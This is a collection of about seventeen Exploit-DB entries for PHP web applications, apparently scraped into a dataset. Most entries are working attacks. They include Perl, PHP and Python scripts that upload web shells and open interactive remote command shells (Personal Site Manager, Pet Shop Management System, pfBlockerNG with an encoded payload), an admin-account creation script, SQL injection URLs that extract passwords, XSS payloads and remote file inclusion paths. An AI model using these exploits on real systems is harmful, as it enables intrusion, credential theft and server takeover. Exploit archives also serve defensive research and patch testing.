deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51621
Description: Perch v3.2 - Stored XSS
Type: webapps
Platform: php
Date: 2023-07-21
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Perch v3.2 - Stored XSS
Application: Perch Cms
Version: v3.2
Bugs:  XSS
Technology: PHP
Vendor URL: https://grabaperch.com/
Software Link: https://grabaperch.com/download
Date of found: 21.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 
1. login to account
2. go to http://localhost/perch_v3.2/perch/core/settings/
3. upload svg file

"""
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
"""
4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg)
Exploit-DB #43590
Description: PerfexCRM 1.9.7 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-01-15
Author: Ahmad Mahfouz

Exploit:
# Exploit Title: PerfexCRM 1.9.7 – Unrestricted php5 File upload 
# Exploit Author: Ahmad Mahfouz 
# Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2017-17976
# Version: v1.9.7 
# Software Link: https://www.perfexcrm.com/

 

# bypassing the misconfigured file upload with file .php5

 

GET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir]


JSON Response:

{"added":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"0","hash":"[XXX]","name":"shell.php5","phash":"[XXXX] "}],"changed":[{"isowner":false,"mime":"directory","read":1,"write":1,"size":0,"hash":"[ XXX]","name":"asa","phash":"[ XXX] ","volumeid":"[XXX]"}]}

 

#bypass the file content restriction by adding TEXT line to represent mime type text


Request


POST /admin/utilities/elfinder_init HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Connection: close

 

cmd=put&target=[folder]&encoding=UTF-8&content=demo

 

newline to represent text mime type

<?php

    phpinfo();

?>

 

HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Length: 167

 

{"changed":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"44","hash":"[XXX]","name":"shell.php5","phash":"[XXX]]"}]}
Exploit-DB #6847
Description: Persia BME E-Catalogue - SQL Injection
Type: webapps
Platform: php
Date: 2008-10-27
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title:  Persia BME E-Catalogue SQL Injection Vulnerability
# Vendor: http://www.persiabme.com/products/
# Impact: High
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_55.htm
###################################################################################

####################
1. Description:
####################
    Persia BME E-Catalogue is a powerful engine which provides webmasters with advanced abilities of controlling their website. The system has a free style multi level Menu to add a company's products or services.

####################
2. Vulnerability:
####################
    Input passed to the "q" parameter in "search.aspx" is not properly sanitised before being used in SQL queries.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Its possible to obtain user's plain text password by this vulnerability.



####################
3. Exploits/POCs:
####################
     http://www.example.com/fa/qsearch/search.asp?action=search&q=BugReport.ir' or 1=(select top 1 username+':'+password from tbluser)--

####################
4. Solution:
####################
    Edit the source code to ensure that inputs are properly sanitized.

####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-10-27]
Exploit-DB #12819
Description: Persian E107 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-31
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Persian E107 XSS Vulnerability            
| # Author   : indoushka                                                               
| # email    : indoushka@dgsn.dz                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                              |
| # Web Site : www.iqs3cur1ty.com/vb                                                                                                                                   
| # Script   : Powered By Persian E107 BY Iranscripts.Com | Sponsor : MehrHost.Com     
| # Tested on: windows SP2 Français V.(Pnx2 2.0)       
| # Bug      : XSS                                                                     
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- After register go to http://127.0.0.1/Persian/usersettings.php 
 
 2- Edit your Signature Put this code or other's :
 
 ">"">>>><script>location="http://www.arab-blackhat.co.cc"</script>"""">
 
 use coockie Graber or what you wont
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : inj3ct0r Team 
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R * www.alkrsan.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #48190
Description: Persian VIP Download Script 1.0 - 'active' SQL Injection
Type: webapps
Platform: php
Date: 2020-03-10
Author: Amir Hossein Vafifar

Exploit:
# Exploit Title: Persian VIP Download Script 1.0 - 'active' SQL Injection
# Data: 2020-03-09
# Exploit Author: S3FFR
# Vendor HomagePage: http://download.freescript.ir/scripts/Persian-VIP-Download(FreeScript.ir).zip
# Version: = 1.0 [Final Version]
# Tested on: Windows,Linux
# Google Dork: N/A


=======================
Vulnerable Page:

/cart_edit.php

=======================

Vulnerable Source:

89: mysql_query $user_p = mysql_fetch_array(mysql_query("SELECT * FROM `users` where id='$active'")); 
71: $active = $_GET['active']; 

======================
sqlmap:

sqlmap -u "http://target.com/cart_edit.php?active=1" -p active --cookie=[COOKIE] --technique=T --dbs
=======================

Testing Method :
	
	- time-based blind

Parameter: active (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: active=1' AND (SELECT 4169 FROM (SELECT(SLEEP(5)))wAin) AND 'zpth'='zpth

========================
Exploit-DB #6858
Description: PersianBB - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-28
Author: Hussin X

Exploit:
|___________________________________________________
|
| PersianBB (iranian_music.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|----------------  Hussin X  ------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script :  http://www.persianbb.com/
|
| DorK   : Powered By :  PersianBB.com
|___________________________________________________

Exploit:
________


www.[target].com/Script/iranian_music.php?id=-1+union+select+1,concat_ws(0x3a,user,psw),3,4,5,6,7+from+prelude--


Demo:
________

http://persiandel.com/iranian_music.php?id=-1+union+select+1,concat_ws(0x3a,user,psw),3,4,5,6,7+from+prelude--



________________( Greetz )_____________________
 _____   ____   __   __     _       ____
|_   _| |  _ \  \ \ / /    / \     / ___|
  | |   | |_) |  \ V /    / _ \   | |  _
  | |   |  _ <    | |    / ___ \  | |_| |
  |_|   |_| \_\   |_|   /_/   \_\  \____|
_______________________________________________

# milw0rm.com [2008-10-28]
Exploit-DB #3853
Description: Persism CMS 0.9.2 - system[path] Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-04
Author: GoLd_M

Exploit:
# Persism Content Management System <= 0.9.2 Multiple Remote File Inclusion Vulnerabilities
# D.Script: http://www.persism.com/emil/0.9.2/0.9.2.tar.gz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/modules/blocks/headerfile.php?system[path]=Shell
# Exploit:[Path]/modules/files/blocks/latest_files.php?system[path]=Shell
# Exploit:[Path]/modules/filters/headerfile.php?system[path]=shell
# Exploit:[Path]/modules/forums/blocks/latest_posts.php?system[path]=shell
# Exploit:[Path]/modules/groups/headerfile.php?system[path]=shell
# Exploit:[Path]/modules/links/blocks/links.php?system[path]=shell
# Exploit:[Path]/modules/menu/headerfile.php?system[path]=shell
# Exploit:[Path]/modules/news/blocks/latest_news.php?system[path]=shell
# Exploit:[Path]/modules/settings/headerfile.php?system[path]=shell
# Exploit:[Path]/modules/users/headerfile.php?system[path]=shell
# Greetz To: Tryag-Team ....##

# milw0rm.com [2007-05-04]
Exploit-DB #7905
Description: Personal Site Manager 0.3 - Remote Command Execution
Type: webapps
Platform: php
Date: 2009-01-29
Author: darkjoker

Exploit:
# --+++===========================================================================+++--
# --+++====== Personal Site Manager <= 0.3 Remote Command Execution Exploit ======+++--
# --+++===========================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use IO::Socket;

my $hostname = shift;
my $path = shift;
my $cmd = join " ", @ARGV;

usage () if (!$path);

open SHELL, ">shell.php";

# shell.php will be delete, it won't leave any trace about exploit's run
print SHELL "<? system (\$_GET ['cmd']); unlink ('shell.php'); ?>";
close SHELL;

my $url = "http://${hostname}${path}/psm/upload_file.php?submit=banane";
my $lwp = LWP::UserAgent->new;

# This CMS is also vulnerable to Insicure Cookie Handling
$lwp->default_header('Cookie' => "PSMADMIN=true");

my $req = $lwp->request (
              POST $url,
              Content_Type => 'multipart/form-data',
               Content      => [upload => ["shell.php"]],
             );
unlink ("shell.php");

if ($req->is_success)
{
    my $sock = new IO::Socket::INET (
        PeerHost => $hostname,
        PeerPort => 80,
        Proto    => "tcp",
    );
    print "\n[+] Running ${cmd}...\n\n";
    $cmd =~ s/ /%20/g;
    print $sock "GET ${path}/psm/datastore/files/shell.php?cmd=${cmd}\r\n\r\n";
    
    print $_ while (<$sock>);

    close ($sock);
    print "\n";
}
else
{
    print "[-] Unable to end execution.\n";
}

sub usage
{
    die "\n[+] Personal Site Manager <= 0.3 Remote Command Execution Exploit".
        "\n[+] Author  : darkjoker".
        "\n[+] Site    : http://darkjoker.net23.net".
        "\n[+] Download: http://garr.dl.sourceforge.net/sourceforge/psm/psm_0_3.zip".
        "\n[+] Usage   : perl ${0} <hostname> <path> <cmd>".
        "\n[+] Ex.     : perl ${0} localhost /PSM ls -l".
        "\n\n";
}

# milw0rm.com [2009-01-29]
Exploit-DB #5627
Description: Pet Grooming Management System 2.0 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-05-15
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "-+- Pet Grooming Management System <= 2.0 Arbitrary Add-Admin Exploit -+-\n";
print "-+-  Discovered && Coded By: t0pP8uZz  -  Discovered On: 15 MAY 2008  -+-\n";
print "-+-  Script Download: http://sourceforge.net/projects/petgroom/       -+-\n";
print "-+- Pet Grooming Management System <= 2.0 Arbitrary Add-Admin Exploit -+-\n";

print "\nEnter URL(http://site.com/pet/): ";
	chomp(my $url=<STDIN>);
	
print "\nEnter Username(create your admin username): ";
	chomp(my $user=<STDIN>);
	
print "\nEnter Password(create your admin password): ";
	chomp(my $pass=<STDIN>);

my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)' );
my $ob = $ua->post($url."/useradded.php", { "name" => "admin", "user" => $user, "pwd" => $pass, "level" => 1, "centerstatus" => "a" } );

if($ob->is_success && index($ob->content, 10) != -1) {
	print "\n\nUser Added Successfully! Login to: $url\n";
} else { print "\n\nUser was not added. Username may be in use, or site isnt running PGMS.\n"; }

# milw0rm.com [2008-05-15]
Exploit-DB #36432
Description: Pet Listing - 'preview.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-09
Author: Mr.PaPaRoSSe

Exploit:
source: https://www.securityfocus.com/bid/50996/info

Pet Listing is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/preview.php?controller=Listings&action=search&listing_search=1&type_id=&bedrooms_from=">[XSS]
Exploit-DB #41586
Description: Pet Listing Script 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Pet Listing Script v3.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/pet-listing-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=petls&front=1&lid=1
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjListings&action=pjActionIndex&listing_search=1&year_from=2017[SQL]&year_to=2017[SQL]
# Etc..
# # # # #
Exploit-DB #50353
Description: Pet Shop Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-09-29
Author: Mr.Gedik

Exploit:
# Title: Pet Shop Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 28.09.2021
# Author: Mr.Gedik
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14962/petshop-management-system-using-phppdo-oop-full-source-code-complete.html
# Version: 1.0
# https://asciinema.org/a/mjRFsUvshjGIcTsped1PAH8CB


Vulnerable code controllers/add_petmanagement.php
Line 21 - move_uploaded_file($_FILES["images"]["tmp_name"],
$_SERVER['DOCUMENT_ROOT']."/Petshop_Management_System/uploads/" .
addslashes($_FILES["images"]["name"]));

Exploit
#############

<?php
/*
@author:mrgedik
*/
function anim($msg, $time)
{
    $msg = str_split($msg);
    foreach ($msg as $ms) {
        echo $ms;
        usleep($time);
    }
}

anim("__  __       _____          _ _ _
|  \/  |     / ____|        | (_) |
| \  / |_ __| |  __  ___  __| |_| | __
| |\/| | '__| | |_ |/ _ \/ _` | | |/ /
| |  | | |_ | |__| |  __/ (_| | |   <
|_|  |_|_(_) \_____|\___|\__,_|_|_|\_\
", 900);

echo PHP_EOL;
while(1)
{
    echo anim("Target (http://example.com/path/): ", 800);
    $target = trim(fgets(STDIN));
    echo PHP_EOL;
    if (filter_var($target, FILTER_VALIDATE_URL) === FALSE) {
        echo "Not a valid URL".PHP_EOL;
    }else {
        break;
    }
}
@unlink("exp.php");
$fw = fopen("exp.php","a+");
fwrite($fw,'<?php $_POST[m]($_POST[g]); ?>');
fclose($fw);

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, $target."/controllers/add_petmanagement.php");
$fields = [
    'images' => new \CurlFile("exp.php", 'image/png', 'exp.php')
];
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);


$response = curl_exec($ch);
@unlink("exp.php");

if(strstr($response,"success"))
{
    while(1)
    {
        echo anim("root@pwn: ", 800);
        $command = trim(fgets(STDIN));
        if($command == trim("exit"))
        {
            exit;
        }
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$target."/uploads/exp.php");
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS,"m=passthru&g=".trim($command));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        echo curl_exec($ch);
        curl_close ($ch);
    }
}else
{
    echo anim("Fail", 800);
}


?>
Exploit-DB #38391
Description: Petite Annonce - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-14
Author: Metropolis

Exploit:
source: https://www.securityfocus.com/bid/58508/info

Petite Annonce is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/annonce/moteur-prix.php?categoriemoteur=1"><script>alert(31337);</script>
Exploit-DB #51943
Description: Petrol Pump Management Software v1.0 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2024-04-02
Author: Sandeep Vishwakarma

Exploit:
# Exploit Title: Petrol Pump Management Software v1.0 - Remote Code Execution (RCE)
# Date: 02/04/2024
# Exploit Author: Sandeep Vishwakarma
# Vendor Homepage: https://www.sourcecodester.com
# Software Link:https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: v1.0
# Tested on: Windows 10
# CVE: CVE-2024-29410
# Description: File Upload vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the logo Photos parameter in the web_crud.php component.
# POC:
1. Here we go to : http://127.0.0.1/fuelflow/index.php
2. Now login with default username=mayuri.infospace@gmail.com and Password=admin
3. Now go to "http://127.0.0.1/fuelflow/admin/web.php"
4. Upload the san.php file in "Image" field
5. Phpinfo will be present in "http://localhost/fuelflow/assets/images/phpinfo.php" page
6. The content of san.php file is given below: <?php phpinfo();?>

# Reference:
https://github.com/hackersroot/CVE-PoC/blob/main/CVE-2024-29410.md
Exploit-DB #51032
Description: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-02-20
Author: IHTeam

Exploit:
# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
# Date: 5th of September 2022
# Exploit Author: IHTeam
# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
# Version: 2.1.4_26
# Tested on: pfSense 2.6.0
# CVE : CVE-2022-31814
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
 
#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()
 
url = args.url
shell_filename = "system_advanced_control.php"
 
def check_endpoint(url):
	response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
	if response.status_code == 200:
		print("[+] pfBlockerNG is installed")
	else:
		print("\n[-] pfBlockerNG not installed")
		sys.exit()
 
def upload_shell(url, shell_filename):
	payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
	print("[/] Uploading shell...")
	response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
	time.sleep(2)
	response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
	if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
		print("[+] Upload succeeded")
	else:
		print("\n[-] Error uploading shell. Probably patched ", response.content)
		sys.exit()
 
def interactive_shell(url, shell_filename, cmd):
	response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
	print(str(response.text)+"\n")
 
 
def delete_shell(url, shell_filename):
	delcmd = "rm /usr/local/www/system_advanced_control.php"
	response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
	print("\n[+] Shell deleted")
 
check_endpoint(url)
upload_shell(url, shell_filename)
try:
	while True:
		cmd = input("# ")
		interactive_shell(url, shell_filename, cmd)
except:
	delete_shell(url, shell_filename)
Exploit-DB #6442
Description: pForum 1.30 - 'showprofil.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-12
Author: tmh

Exploit:
#=====================================================================================================
#Powie's PHP Forum <= v1.30 (showprofil) Remote SQL Injection Exploit
#=====================================================================================================
#
#Critical Level : Dangerous
#
#Venedor site : http://www.powie.de
#
#Version : v1.30
#
#=====================================================================================================
#
#DORK : "pForum 1.30"
#
#
#Exploit :
#--------------------------------
#
#FOR USER: showprofil.php?id=1+LIMIT+1,1+UNION+SELECT+concat_ws(0x3a,username)+FROM+pfuser+limit+1,1--
#FOR PASS: showprofil.php?id=1+LIMIT+1,1+UNION+SELECT+concat_ws(0x3a,pwd)+FROM+pfuser+limit+1,1--
#FOR MAIL: showprofil.php?id=1+LIMIT+1,1+UNION+SELECT+concat_ws(0x3a,emai)+FROM+pfuser+limit+1,1--
#
#=====================================================================================================
#Discoverd By : -tmh-
#
#Contact : tmh[at]sys-flaw.com
#
#Greetz To : n00bor , Five-Three-Nine , J0hn.X3r , electron1x , meckl, Floo , -Patrick_B ,
#	           Loader007 , bizzit , Sys-Flaw , Codesoft , Free-Hack  abcdef ,
#
#
#=====================================================================================================

# milw0rm.com [2008-09-12]